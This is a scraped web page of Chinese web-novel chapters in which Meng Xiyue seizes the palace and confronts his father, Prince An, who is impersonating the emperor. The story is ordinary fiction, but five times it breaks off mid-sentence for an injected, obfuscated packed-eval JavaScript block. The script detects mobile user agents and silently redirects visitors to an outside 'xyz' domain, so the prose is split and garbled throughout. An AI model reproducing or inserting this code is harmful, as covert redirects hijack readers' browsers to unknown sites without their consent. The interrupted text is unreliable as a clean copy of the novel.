到了现在,再看不出天问大师对自己的执着显然就不应该了,叶晚竹眼风扫过,左右能后退的地方,都被这位堵住了去路。 那张笑容狰狞的脸越靠越近,天问大师眼中要得手的兴奋也变得更加浓郁。 叶晚竹猝不及防地抬手一扬,“砰”地一声,红色的粉末在天问大师面前炸开! 这么近的距离之下,天问大师也没料到还有如此变故,紧急屏住呼吸却也已经晚了! “咳咳!” 不仅吸了一大口粉末,天问大师还不得不闭紧双眼,被这粉末接触到的地方,皮肤都感到火辣辣地疼! 双眼不能视物,又是在如此情形之下,天问大师背上的冷汗几乎是立刻就全都流出来了! “大,大秃……这滋味,如何啊?” 一道虚弱的声音响起,沙哑而绵软,将原本略显纤细的腔调都掩盖了三五分。 谢无咎吃力地抬起头,脸色不算太好,嘴角的笑容却显得十分得意。 他方才便已经清醒了过来,不过只是悄悄地把药粉塞给叶晚竹,便似乎用尽了全身的力气。 “你?” 天问大师本是闭着双眼,凭着声音往安全的地方后退,这会儿忽然听见谢无咎的声音,脚下却忽然顿住了。 “你怎么会醒?”他失声道。 “是啊,我怎么会醒呢?” 谢无咎的语气轻飘飘的,却是连嘲带讽,“是不是大秃你本事不行啊?” 他这会儿没有多少凝神的力气,叶晚竹倒是能看见,谢无咎话音落下的瞬间,天问大师的表情变得十分难看。 看不见东西,天问大师也控制不住自己的表情了。 “哼,秃驴,投降吧!” 柳寻雁这时候再度挥起长鞭,直冲天问大师脖颈而去! 听着身后的动静,天问大师勉强侧身躲开,却依旧失了准头,被鞭风扫到,右肩上破开了一个大口子,鲜血汩汩流出。 捂着伤口踉跄两步,天问大师忽然纵身而起! “上!” 他一声令下,方才还在下方呆呆傻傻等待着的惨白人影们,忽然之间就变得无比疯狂了起来! 他们围着廊柱又抓又挠,又故技重施,一个摞一个地朝着房顶而来。 与此同时,白雾缓缓升起,天问大师的身形又一次凭空消失在几人眼前! “这个老秃驴!” 咬牙朝着他消失的地方抽了一鞭,却是一无所获,柳寻雁不甘地收回攻势,转而又看向下方。 “这些东西,不能留!” 打量着下方这些惨白人影的诡异模样,柳寻雁的表情十分难看。 “放火吧。” 定了定神,叶晚竹对于放火这件事情,已经十分熟稔了。 只是可惜了这白云观里的秘密,便再也没有被发现的机会了。 她话音刚落,衣角便被谢无咎扯了扯。 “隐,隐月……随我来此……”他说话的时候连连喘息,十分费力。 这些惨白人影身上的毒性十分猛烈,谢无咎能挣扎着醒过来,便已经是十分不易,方才和天问大师那几句话已经是他最后的力气。 这会儿功夫,谢无咎只能无力地趴在叶晚竹肩头,就连说话都是气若游丝的。 柳寻雁皱着眉头,抬手捏了一把谢无咎的脉搏,表情又变得更加难看。 “中了剧毒,得赶快处理。”她言简意赅。 这个时候,几道熟悉的身影也从四面八方浮现出来。 “主子!” 一眼看见谢无咎的模样,隐月几人都是大惊失色地冲上前来。 几人七手八脚地把谢无咎扶到谢逸背上,隐月抿着嘴唇,又抽空叹了口气。 “白云观附近没有那个死秃驴的踪迹,他到底是怎么做到的?” 先前,山中的暗道口关闭之后,柳寻雁和隐月等人解除了防备,又终究是从德慧小和尚口中扣出了天问大师的下落。 柳寻雁也顺便把毕烽的诡异模样告诉了隐月他们,几人合计一番,决定让柳寻雁明着现身,其他人则隐匿身形,埋伏在白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15933064|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云观外,等着里应外合。 可没想到,四个谢无咎手下的一等好手,竟然连半点天问大师的踪迹都没发现! 这货好像真的是凭空消失了一样! 听隐月三言两语将外面的情况说完,叶晚竹沉了沉眸,也只能先摇摇头。 “那秃子的目的还没达到,不会善罢甘休的,我们还有机会,眼下先处理了这些妖物,离开此处再说!” 不过是几句话的功夫,那些惨白的人影便又沿着廊柱,像叠罗汉似的朝他们爬了上来。 隐月环顾四周,一边摸出火折子,一边冷冷地笑了起来。 “请殿下退后,这等妖孽之物,小的们来处理!” 一炷香的功夫之后,叶晚竹站在白云观外,看着院中熊熊燃烧着的烈火,隐约还能听到阵阵噼啪声传来。 院墙上方,隐月抱着双臂,看着那些人影被火舌吞没,瞬间化为乌有,好像是一张张纸人一般。 幸亏火焰对这些妖物有用,想到这儿,隐月不着痕迹地松了口气。 “那是京城方向,怎么起烟了?” 谢逸和谢尔负责护着早已经昏迷不醒的谢无咎,隐翼倒是也站在院墙上,这会儿却没有看着白云观中,而是蹙眉望向远方。 闻言,隐月也猛地抬起头,两人互相看看,都露出了难以置信的神情。 “那是……东厂?” —— “你说什么?东厂起火了?” 乾清宫中,安王坐立不安地等了半晌,不仅没有等到倒霉儿子孟希越老老实实呆在东厂的消息,反而是被这个噩耗震得双腿一软,猛地坐倒在床沿上。 床边也还不够,他又顺势缓缓滑了下去,一滩烂泥一样倒在脚踏上。 “这——”安王一双眼珠子茫然地转着,“是谁干的?那秃驴?” “不知道。” 消息是影天打探回来的,不过这会儿已经不用再多说什么,从窗户看出去,便能瞧见东厂方向的滚滚浓烟。 阵阵混乱声也接连响起,影天眉头紧皱,忽然一把将安王从脚踏上扯了起来! 第二百七十章 你不是圣上,我有证据 “干,干什么?” 先是吓了一大跳,安王回过神来,看着影天黑沉一片的脸色,忍不住又打了个哆嗦。 这人的眼底全是杀气,不会,不会是要对他下手吧? 毕竟是个名不正言不顺的假皇上,这么一想,安王便哆嗦得更加厉害了。 影天垂着眸子看去,表情十分无奈。 这位胡思乱想的本事倒是厉害得很。 “东厂的防卫十分严密,能在东厂放火,那些人肯定已经混进宫中了。”他的眼神也变得深沉下去,“此地危险,不能久留,先走为妙!” 影地也点了点头,上前两步,伸手来解安王的衣裳。 “龙袍太过显眼,先换身衣裳躲起来再说吧!”他一边说着话,手上动作飞快。 听见不是要自己的命,安王松了口气,又随着两人的动作很快重新变得紧张了起来。 那秃驴的手下也能混进皇宫,还,还这么厉害? “那咱们要去什么地方?九千岁呢?” 片刻后,安王便被换上了一身黑衣,坐在影地背上,听着外面的动静越发嘈杂,他的心跳也跟着越发猛烈。 方才谢无咎跟着天问大师那秃驴走了,怎么这会儿宫中还是有他的人手? 还有,孟希越呢?他儿子又该怎么办? 一连串的问题一个接一个地冒出来,搅合得安王脑袋发胀,却还是连一个也想不明白。 这事情,是怎么忽然就变成这样的? “先走再说!” 安王絮絮叨叨,影地不由得也被他念得有些心浮气躁。 这天问大师的手段实在是多得很,他们隐隐已经有了被牵着鼻子走的趋势,而这绝对不是一个好兆头。 想着这些,影地说话的语气也有些不耐烦。 敏锐地听出这点变化,安王连忙一缩脖子,又不说话了。 人在屋檐下,不得不低头啊! “走吧!” 这时候,影天快步从院中折返回来,手中长剑出鞘,剑锋上已经沾染了星星点点的血迹。 见着安王的目光朝这边看来,影天甩了甩剑身,面无表情,“有宫人在外面偷听。” 真正的昭德帝薨后,能近身在他身边伺候的太监宫人们全都换了一遍,为的就是瞒住安王的李代桃僵。 现在想来,或许也正是给天问大师一个可乘之机。 只是,这人究竟是什么时候就开始谋划了的? 影天想不通,但这会儿也没时间想了。 “走!”他朝影地点了点头。 长剑在手,影天走在前面开路,影地则是背起安王,趁院中无人,快步朝外走去—— “想去哪儿啊?” 还没走出几步,一道问话声响起,紧接着,数不清的黑衣人也不知道从什么地方缓缓现了身。 影天环顾四周,又攥紧了手中的剑柄。 都是高手。 “逆子,逆子!”安王的声音这时候也响了起来。 影天影地忙着观察四周的情况,安王趴在影地背上,一双眼睛却只看着那个堵在院门前的人。 准确地说,是五个人。 孟希越坐在软轿之上,浑身是伤,脸色也十分不好,可那种从内到外焕发的精气神,却让人几乎要忽略掉他这会儿恐怕连路都走不了的这个事实。 四个黑衣人合力抬着他,缓缓地朝着安王这边走了过来。 “什么逆子?陛下在说什么?微臣听不懂。” 双眼直勾勾地看着安王,孟希越眼底的笑意淡了两分,说话的时候,却是连嘲带讽的。 安王闻言一噎。 他忘了,自己现在还顶着昭德帝的脸! 影天无奈的眼神也投了过来,看得安王更是心里一突。 他又忘了,自己还不能说话! “陛下,这是要到什么地方去啊?” 将这三人的眉来眼去都收入眼底,孟希越再度开了口。 “宫中乱成这个样子,谢无咎那叛贼逆党还不知道藏在什么地方,他随时都有可能冲进来对陛下不利,这种时候,陛下还是不要随意走动为好。” 他张口说了一长串,面上的笑容又开始变得明显,而和孟希越明显相反的,便是影天影地难看的神情。 能堂而皇之地带着这么多手下出现在宫中,还如此大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15933065|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇大摆,这些人果然是有备而来! 安王的表情则是陷入了彻头彻尾的呆滞。 这还是他的儿子吗? 他还有一点廉耻吗? “你,你——” 想破口大骂,安王的嘴张开到了一半,看着孟希越一副十分期待的模样,又不甘地把话头全都咽了下去。 这倒霉孩子现在明显是打算把之前的计划续上,要夺皇位了! 若是他这时候暴露身份,承认自己不是昭德帝,那岂不是更给了他一个绝妙的理由! 深吸一口气,安王强迫自己镇定下来。 怎么好像走到死胡同里了? 怎么办,怎么办? “孟希越,你休要胡说八道,指鹿为马!” 影天这时候后退两步,更紧密地护在安王身前,一双冷冰冰的眼睛,直勾勾地盯着孟希越。 “你一个乱臣贼子,谋逆入狱的叛党,出现在这里已经是死罪,竟然还大言不惭,颠倒黑白,简直是岂有此理!” 孟希越的表情淡淡的,似乎早就料到影天会说什么,神态之间不见半点意外。 他甚至还放松身体朝后,靠在软轿的椅背上,轻轻地笑了一声。 “你是谢无咎的走狗,你说的话,又能有多少可信度?” 影天冷笑一声,表情变得十分难看,“我是圣上身边的影卫!” “圣上?” 听到这两个字,孟希越面上的笑容又变得古怪了几分,斜眼朝着影地背上看了过去。 和他目光相接,安王忽然下意识地打了个哆嗦! “他真的是圣上吗?” 果不其然,下一刻,孟希越便抬手朝着安王指了过去。 安王能感到影地扶着自己的手跟着紧了一下。 “放肆!你敢怀疑圣上!” 影天抽剑上前,呼吸急促,紧皱着眉头,心底也在阵阵发紧。 他们已经在乾清宫纠缠了这么久,御林军却没有半点要过来的意思,看样子,定是被拦住了。 这些黑衣人数量众多,寡不敌众,局势不容乐观。 “怀疑?我不是怀疑,我有证据!” 第二百七十一章 送我进去 大笑一声,孟希越锐利的眼神直勾勾地落在安王身上。 “他是假扮的圣上,是个赝品!” 安王的眼皮子猛烈地抖动起来。 他不说话,也不行啊? “胡说八道!”影天的眉头已经皱得不能再紧,语气也沉了下去,“你这是信口雌黄!” “你这么大声做什么?难道是怕了,心虚?” 孟希越面上的笑容倒是变得更加游刃有余,他抬手一招,那四个黑衣人便抬着他又上前几步,围着安王和影地转了起来。 安王的身子哆嗦得更加厉害了,他双手抱紧影地的脖子,眉头紧皱,一双眼死死盯着孟希越。 “哦?我们这位陛下的脸色也不太好,是不是更加害怕?”孟希越见状笑得更加嚣张了几分。 他探身向前,一瞬不眨地看着面前的这双眼睛。 面容能轻易改变,眼睛却不能变动,孟希越看着属于安王的眼睛,里面盛满种种情绪。 震惊,恐惧,还有担忧和思索。 就是没有一丝他想看到的东西。 孟希越的神情忽然之间就变得难看了起来。 直到这种时候,他都不愿意主动承认自己的身份吗? “那就别怪我不客气了。”孟希越忽然道。 什么——? 还没等安王反应过来,孟希越又一挥手,刹那间,八个黑衣人从房檐上落下,将他们三人牢牢地包围其中! 影天又紧张地往后靠了靠,“你要干什么?” 他死死盯着孟希越,后者轻笑一声,朝安王伸出手去。 “你们几个,把这位‘圣上’,请回殿中去……咳咳……” 话说到这儿,孟希越一直游刃有余的表情忽然变了变,捂着嘴,发出了一连串控制不住的咳嗽声。 影天见状眼神一闪,却又下意识地朝周围看去。 有这么多高手在身边,他并没有把握能一击的中。 只耽搁了这么短短的一霎,孟希越便已经回过神,重新变得笑容满面。 “还不快动手?” 他抬头朝那些黑衣人看了过去,再开口时声音变得有些沙哑。 “圣上,”孟希越又看向安王,“趁微臣还有耐心,您请吧?” 这已经是赤裸裸的威胁了! 影地呼吸粗重,抬头看着近在咫尺的孟希越,眼神也变得十分危险。 他不动声色地后退了半步,已经做好了要殊死一搏的准备。 肩膀却在这时候被拍了两下,影地忽然一愣。 ? 他有些难以置信地微微侧头,又确认了一下安王的动作。 安王又拍了拍影地的肩膀,动作和刚才一模一样。 “送我进去吧。”他伸手在影地背上一笔一划地写着。 “……陛下?”影地的眉头皱得更紧。 安王却点了点头,表情写满了坚定。 孟希越的笑容却越发舒展开来。 他就知道,生死关头,没有人能将自己的性命置之度外。 若安王能配合,他也愿意保住亲爹的性命才是。 “二位,请吧?”他心情很好地朝着乾清宫伸了伸手。 见状,影天影地对视一眼,最终还是跟在孟希越的软轿之后,被一群黑衣人簇拥着,往熟悉的内殿而去。 殿中的一切都没有任何变化,黑衣人们翻找一圈,也并没有发现任何可疑之物。 孟希越依旧坐在软轿之上,不慌不忙地看着手下们的动作,又将注意力落在了安王身上。 “微臣不才,方才看着陛下的身姿,实在感觉眼熟,看来看去,怎么都觉得与微臣父王十分相似。” 他一开口,果不其然,便将安王的身份点了出来。 影天下意识地朝着安王看了过去,见他垂着脑袋,神情不明,心里忽然一顿。 眼下这局势显然是一边倒,安王可是孟希越的亲生父亲,难道…… 想着他刚才要求入殿的举动,影天的面色变得更加严肃。 安王这会儿没在注意影天的表情,他正低着脑袋,继续在影地背上写字,并且要求他说出来。 “陛下说……一派胡言!” 感受着背上传来的触感,影地一字一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15933066|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿地道。 孟希越闻言神情一凝,似乎是有些难以置信,片刻后又调整情绪,“哈”地笑了一声。 “圣上若是执意如此,那就别怪儿臣不客气了!” 说到这句,他已经是图穷匕见! “父王,”孟希越不再掩饰,“您后背上,靠近心口的位置有一道很深的疤,是剑伤,多年以前被那位已经处死的三皇叔捅的,差点儿就要了性命,对不对?” “请您更衣吧,一看便知。” 他抱起双臂,眼中的笃定一览无余。 “圣上虽然也是九死一生过的,但他身上应该没有这道疤痕,这一点,你们这些当暗卫的,应该最清楚了吧?”孟希越又朝着影天影地看了过去。 二人都板着脸,分明面无表情,但眼神却显得有些冷峻。 “圣上龙体怎能随便让你亵玩?”影天冷声开口,“再者说,安王身上的伤疤是什么模样,也不过是你的一家之言罢了!” “哼,我看你是黔驴技穷。” 再看向影天的时候,孟希越的脸色便彻底沉了下去。 这个碍事之人! 安王这时候却又拍了拍影地的肩膀,再次低头写了起来。 “陛下说……”影地踟躇片刻,“黄口小儿,信口开河,朕背上没有任何伤疤,休要胡说!” 一句话出了口,影地反应片刻,连自己都愣住了。 都已经到了这个时候,这安王,怎么忽然之间变得勇猛起来了? 可他再勇猛也没用啊,孟希越有这么多手下,只要能脱掉安王的上衣,一切就都无法挽回了! 还是说,这位就是想暴露出自己的**? 影地一时间也陷入了犹疑不定的情绪之中。 他没发现,孟希越的脸色也因为这句话而变得无比阴沉。 孟希越抿着嘴,方才的笑容已经完全消失不见,他直勾勾地盯着安王,眉头紧皱。 他还不肯承认? “父王,你是觉得儿臣不敢对你动手不成?那我就不客气了!” 一拍软轿的扶手,孟希越咬着牙,“抬我过去!” 第二百七十二章 苦海无边,回头是岸 他一声令下,四个黑衣人应声而动,抬着软轿步步向前,很快便将影地和他背后的安王堵到了墙角。 背靠着冰冷的墙壁,安王喉头滚动,抬头朝着孟希越看去的时候,眼底满是犹豫。 “圣上劝你现在放弃。”影地又读了起来,“苦海无边,回头是岸。” 孟希越眼底的神情已经变得疯狂,狞笑一声,伸手就朝着安王的衣襟揪了过去! 什么回头是岸! 他早就回不了头了! “圣上!” “放肆!” 黑衣人们围成一团,影地连手都伸展不开,压根碰不到安王,只能眼睁睁地看着这位被孟希越一把抓了过去。 被堵在另一边的影天也是神情一变,二人异口同声地大喊道。 话音尚未落下,安王便已经被抓到了那软轿之上。 “父王,好久不见啊。” 反手死死勒住安王的脖颈,孟希越低笑一声,听上去显得有些吃力。 毕竟安王的体型摆在那儿,就算他这段时间整日担惊受怕,茶饭不思,还受了些伤,却也消瘦得十分有限。 就连那四个抬轿的黑衣人都感到手上的重量猛地加剧,不由得暗暗铆足了力气! 安王挣扎了两下,并未回应自己这倒霉儿子,他抓住软轿的一根藤条,身子用力,一屁股狠狠地坐了下去! “嘎吱”一声,藤条做的软轿经不住这种酷刑,承重的几条纷纷断裂开来,整座软轿也哗啦啦地散成了碎片! 孟希越猝不及防,顿时失去了平衡,想伸手抓住什么,却又被安王一把按住胳膊,父子二人稀里哗啦地摔倒在地! 安王终于冷笑了一声。 这种软轿,他入宫的时候,公公们从来都不会给他用的! “唔!” 孟希越本就坐在软轿之上,安王才是压在他身上的那一个,眼下两人重重落了地,他更是猛地被一阵大力盖头而下,顿时连呼吸都变得困难起来! 有他当垫子,安王倒是没怎么受伤,却手忙脚乱地从地上爬起来,双手扼住了孟希越的脖颈! 成了! 转过头,安王求助地朝着影天影地看了过去。 “让开!” 局势在瞬间逆转,影天也顾不上多想,快走两步冲到这两位身前,一边厉声喝退黑衣人,一边单手拎住孟希越的脖子,将他架在自己身前! “都后退!否则,立刻要你们主子的脑袋!”他瞪起双眼。 影地也快步上前,挡住那些蠢蠢欲动的黑衣人,眼底杀机毕现! 黑衣人们见状,表情都变得十分难看。 孟希越努力伸长了脖颈,从喉咙间发出咯咯的响声,一双眼睛却朝着安王看去,里面写满了难以置信。 “为,为什么?”他艰难地从喉咙间挤出问话,“为什么!” 从一开始到现在,哪怕是他这么稳操胜券的时刻,他的父王,也不相信他! 不仅如此,还亲自动手坏他的好事! 安王这会儿脚下踉踉跄跄,显得十分虚弱。 后怕阵阵袭上,他不由得又打了个哆嗦,却又抬手往影地背后写字。 “圣上说,乱臣贼子,人人得而诛之!” 比起刚才,影地这会儿说话的时候,语气就显得有力多了。 “圣上还说……你从一开始就走错了路。” 说到这儿,影地悄无声息地叹了口气。 这话,显然是安王要说给儿子听的。 勾结南疆乱党,又和天问大师那样的人物搅合在一起,就算孟希越再怎么做,都很难回到从前了。 更别提看他这幅模样,压根就没有要回头是岸的意思! 影地暗自叹息,听了安王的这番话,孟希越的脸更是拉的老长。 他继续斜晲着安王,眼底的恨意汹涌而起,让人一眼看去便暗自生惊。 唯有安王在摇头。 “让你的人退后!”他继续写道,“现在收手,还来得及。” “收手?” 孟希越闻言好像听见了什么笑话,仰头哈哈大笑起来,神情极度癫狂。 “我凭什么要收手?我又怎么能在现在这种时候收手?” 影天先前放轻了几分手上的力气,免得真的把孟希 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15937434|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越这个唯一的人质扼死,他重重地喘息了几声,又断断续续地笑了起来。 “东厂已经完蛋了!会被烧得什么都不剩,整座皇宫内外,也已经被我的人手团团包围,就算你们挟持了我,又能怎么样?你们一个也逃不出去!” “至于你……” 说着话,孟希越又朝着安王扫了一眼。 “父王,儿臣几次三番,想留你一条性命,可你的表现,却总是让儿臣失望。” “你心里想着的,永远都不是儿臣,既然如此,那你就去和你关心的人一起吧!” 孟希越的神情在刹那间变得兴奋,他鼻翼翕张,身子也剧烈地哆嗦了起来。 影天挟持着这位,这会儿不由得皱起眉头,眼中的惊异情绪再难能掩饰得住。 他清清楚楚地感到孟希越身上的温度开始升高! 这是怎么回事? 下一个瞬间,孟希越抬起手,一个用力便将影天的手掌从中间捏得变了形! “咝!” 剧痛袭来,影天咬紧牙关,低头看去,自己的右手已经完全没了形状! 他的手骨,好像就在刚才被孟希越一把捏了个粉碎? 这怎么可能? 如此危急的局势之下,影天却难得愣住了。 孟希越在东厂受了大刑,这会儿应该根本没有站起身来的能力才对,他这是从哪里来的神力? “小心!” 影地的提醒声传来,影天回过神,抬起另一条完好无损的胳膊,接下孟希越飞起的一脚! 这下,他连腿脚都恢复正常了? 好像还变得更加厉害! 被这一脚踢飞出去,影天的后背重重地撞在墙壁上,落地控制不住地吐出了一大口鲜血,还想说什么,却眼前一黑,失去了所有的知觉。 影地瞠目结舌地看着方才发生的一切,又握紧了手中的刀。 这个时候,孟希越已经一步一顿地走到了他身前。 “你是要自己滚,还是要本世子帮你一把?”他冷笑着朝影地看去。 影地对上孟希越这双眼睛,下一刻却又愣住了。 第二百七十三章 这是我的错? 孟希越眼底闪烁着疯狂的火焰,在这双眼睛之中,影地一时间甚至找不到太多和人有关的情绪。 “看来,你是做好选择了。” 被影地这么直勾勾地盯着,孟希越面上的笑容却越发浓郁。 他抬手又是一击,影地咬牙硬抗,却被一阵大力击中,几乎是毫无还手之力地飞了出去! 这怎么可能? 孟希越的功夫,什么时候到了如此出神入化的地步? 没有把这个问题想清楚的功夫了,影地也重重地撞上了墙壁,同样眼前一黑,倒在地上再也没了半分声息。 安王哆哆嗦嗦地看着眼前发生的一切,又吃惊地朝着孟希越转过脑袋。 他这儿子,什么时候变得这么厉害了? 连昭德帝身边的影卫,都能一招解决? “父王?到了这个时候,你还不打算开口吗?” 孟希越这时候也朝着安王看了过来,歪了歪脑袋,语气中带着一丝讥诮。 “现在可没有人能给你当传话筒了。” “……你,你到底要干什么!” 憋屈又无奈,安王最终还是只能重重地叹息了一声! “希越,你真的知道你在做什么吗?”他抬起头,“谋反对你有什么好处!” “父王,你怎么还问这种话?” 背着双手站在安王面前,孟希越的嘴角翘起的弧度更是嘲讽。 “事到如今,你不会还打算平息一切吧?” 安王哽了一下,表情青一阵红一阵,煞是难看。 “你,”他试着组织语言,“你不能这么做啊。” “现在说这些,父王你不觉得已经太晚了吗?” 闻言,孟希越又笑了笑,抱起双臂,朝着安王连连摇头。 “父王,别傻了,你现在只有两条路可以选。” 他伸出两根手指晃了晃。 “一,儿臣这就送您上路,看在你我父子一场的份儿上,儿臣保证下手利落,让您走得没有半点痛苦。” 他这话说得轻巧,甚至还带着笑容,安王却听得脸色惨白,身子也跟着摇摇欲坠起来。 “你,你……”他震惊地看着孟希越。 他真要杀了自己的亲爹啊! “这二嘛……” 孟希越仿佛压根就没有听见安王的话一般,压下一根手指,又朝着他晃了晃。 他拖腔拖调地拉长了声音,又风轻云淡地朝安王看了一眼。 “交出传国玉玺。” 安王先是愣了一下,很快又明白了过来! 他现在还顶着昭德帝的脸呢,交出玉玺,那岂不就是让孟希越名正言顺地登基为帝? 绕了这么大的一个圈子,他这倒霉儿子,竟然还想着要正大光明呢? 安王很想抬手捂住自己的脑袋。 他的头,好疼! “这不可能。”深深地吸了一口气,安王断然开了口。 无论他现在的身份是不是昭德帝,都不会让孟希越按照正常的流程坐上龙椅的! 否则,等他到了九泉之下,还有什么脸面去见真正的圣上,还有各位列祖列宗? 说句实话,生出孟希越这样的儿子,就已经够让他抬不起头来的了! “父王,您说什么?” 孟希越闻言表情已经变得难看,但却还是挑起了眉头,仿佛没听清安王的话一般。 安王又沉声道:“我说,你做梦!想坐皇位,你就砍了我的脑袋!” “你!” 大概是没想到安王死到临头,竟然还如此坚决,孟希越的脸色沉的像锅底一样黑。 他的呼吸也粗重起来,攥紧了拳头,看上去似乎随时都能一拳掼死安王。 “你为什么非要如此?”再开口的时候,孟希越的声音便明显气急败坏了起来。 “你又为什么非要这么干?”安王也是一头雾水,“这皇帝,是你想当就能当的吗?你到底知不知道什么叫规矩?” 谁不想当皇帝? 怎么就他这个倒霉儿子,因为这件事而疯成这样了呢? 安王眉头紧皱,面上全是不解。 孟希越眼神微微一闪,咬紧牙关,表情也变得更加狰狞了起来。 “父王,你不懂,”他语气沉沉,“不当这个皇帝,儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15937435|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臣会死,咱们一家,全都会死!” 那个梦境中的内容再次涌入孟希越的脑海,眼睁睁看着自己被五马分尸,安王也被下令斩首示众的模样,他闭上双眼,默默地打了个寒战。 “父王,”孟希越的声音又变得无情,“您已经害**母妃,这一回,就不要再挡着儿臣的路了吧。” 他语气很轻,近乎叹息地说着。 安王闻言却睁大了双眼,瞠目结舌地看着这倒霉儿子。 “我害**你的母妃?” 忍不住抬手指着自己,安王的脸上写满了错愕! “你,”他有些说不出话来,“你……!” 这些年来,安王尽量控制着自己,不要想起关于安王妃的任何事情来。 安王最好的年华都是躲在安王别院虚度过去的,好在他也没有大志向,只求安稳一生。 那时候宫中城中也乱成一团,先帝已薨,皇子们各凭本事,没人想得起,也没人会主动提起安王的婚事。 现在的安王别院,当时的庄子里,有负责料理这些田宅的管家,管家的女儿生得活泼开朗,与安王相熟之后,二人渐渐有了情意,便由安王自己做主了婚事。 直到多年以后,昭德帝才下旨补了两人的封号。 虽然已经成了安王妃,但她却依旧延续着这么多年的习惯,和安王一样,安心住在别院闭门不出,只过自己的小日子。 可就在孟希越挂帅出征,前往南疆的第一年冬天,他给家中送来了一封信,道是南疆空气清新,气候舒润,最适合体寒之人调养。 安王妃生孟希越的时候也是冬天,自那之后便落下了病根,每到冬天便浑身冰冷,十分难捱。 孟希越派了一行车队回京接人,还说准备了调养身体的大夫,安王妃这便欢天喜地地登上了前往南疆的路。 可这一走,便是一去不回。 车队在路上遇到了匪徒,到了最后,安王甚至连王妃的一根头发,一块衣料都没能看到。 这件事一直是他心里的刺,安王有意不去触碰,可今天,却被孟希越狠狠地拔了出来! “你说这是我的错?” 第二百七十四章 你是不是疯了? 他十分难以置信地又指了指自己。 “难道不是?” 孟希越这会儿已经直起身子,垂着目光看向安王,面上是一派彻骨的漠寒。 “如果不是你执意将人送来,我母妃怎么会死!”他咬牙切齿地说着话,对安王的恨意终于不加掩饰地喷涌而出! “父王,你靠着这张与世无争,万事不关心的皮,私下都做了什么见不得人的事情,就不用非得让儿臣都说出来了吧!” 看着孟希越这幅恨意深重的模样,安王气得浑身都哆嗦了起来。 “你倒是说说,本王到底干了什么见不得人的事情?”他伸出一只手指着孟希越,“说,你今天,就给本王一件一件地全都说出来!” 他还真想知道,自己究竟是做过什么伤天害理的事情! 简直是岂有此理! “父王这是打算咬死不认么?” 孟希越的表情又变得更加难看,讥嘲之色越发浓郁。 “您和国子监赵大人的女儿,至今不曾婚嫁的赵姑娘来往已久,您不会觉得这件事能瞒住所有人吧?” “……你说谁?” 安王一脸见了鬼的表情。 国子监赵大人今年已经快七十了,他膝下有四个孩子,最小的女儿便是孟希越口中的赵姑娘,是个京城远近闻名的奇女子。 和其他三位兄姐不同,这位赵姑娘从小就对内宅之事,宫廷事务毫无兴趣,倒是一心习武,梦想能自由自在地行走江湖。 赵大人和夫人对这个小女儿也宠溺得很,索性由着她去,甚至还请了师傅回去教授武艺。 后来,皇子夺嫡之时,靠着一身功夫,赵姑娘屡次救一家人于水火,等到时局安定,赵大人和夫人对此就更是没有二话了。 本来就是亲生亲养的小女儿,还几次救了他们的命,赵姑娘想做什么,这二老都举双手赞成! 昭德帝登基后,京城恢复了和平,赵姑娘也**得了不少经验,将行囊一背,带着和自己从小一起习武的丫鬟,主仆二人一道,当真去闯荡江湖了! 赵姑娘这一走,怎么也有七八年了,只有逢年过节才会回京探望,京中众人每逢这个时候,对此也是津津乐道。 